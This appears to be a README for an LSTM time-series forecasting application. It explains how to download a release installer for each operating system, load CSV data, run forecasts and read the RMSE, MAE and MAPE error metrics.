Welcome to the LSTM-Time-Series-Forecasting project! This application helps you forecast future data using historical time series. You do not need any coding skills to use it. Follow these simple steps to download and run the application.
Before you get started, ensure your system meets these requirements:
- Operating System: Windows, macOS, or Linux
- Storage Space: At least 200 MB free space
- RAM: Minimum of 4 GB
- Python: Ensure Python 3.6 or higher is installed on your computer
- Internet Connection: Required for downloading the application
- Visit the releases page by clicking this link: Download Releases.
- On the releases page, you will see listings for the available versions. Choose the latest version for the best features.
- Click on the file that matches your operating system:
- For Windows: Look for a
.exefile. - For macOS: Look for a
.dmgfile. - For Linux: Look for a
.tar.gzor similar package.
- For Windows: Look for a
- Download the file to your computer. Depending on your browser settings, it may save to your "Downloads" folder.
- Run the installer:
- For Windows: Double-click the downloaded
.exefile to start the installation. - For macOS: Open the
.dmgfile, drag the application into your "Applications" folder, and then open it. - For Linux: Extract the tar file and follow the included instructions to install.
- For Windows: Double-click the downloaded
- Follow any prompts to complete the installation. Once finished, you can find the application on your desktop or in your applications list.
- Launch the application by clicking its icon.
- You will see an interface with simple options to input your data.
- Load your time series data: You can upload a CSV file with your historical data for forecasting. The expected format includes a date column and a value column.
- Set the forecasting parameters: Choose the prediction steps ahead you want and any other settings as prompted.
- Click the "Start Forecasting" button. The application will process your data and provide forecasts.
- View Results: You will see the results plotted on graphs. This includes:
- Training progress
- Forecast results
- Error metrics (RMSE, MAE, MAPE)
After running your forecast:
- RMSE (Root Mean Square Error): This measures the average error of predictions. Lower values indicate better accuracy.
- MAE (Mean Absolute Error): This tells you the average absolute difference between predicted and actual values.
- MAPE (Mean Absolute Percentage Error): This shows the average percentage error in your predictions.
You can compare these metrics to understand how well your model is performing.
This application offers:
- Forecasting with LSTM (Long Short-Term Memory) neural networks.
- Creation of realistic synthetic time-series data.
- Error tracking with RMSE, MAE, and MAPE.
- Graphical representations of your training progress and forecasts.
Yes! You can upload your own time-series data in CSV format.
The application can handle moderate data sizes. For best performance, use data sets under 10,000 records.
If you have questions or encounter problems, please refer to the issues section of the repository or contact the support community.
This project is open-source and available under the MIT License. You are free to use and modify it as per the license terms.
We welcome contributions from users. If you're interested in improving this project, feel free to fork the repository and submit your changes.
Thank you for choosing LSTM-Time-Series-Forecasting. We hope this tool helps you in your forecasting tasks!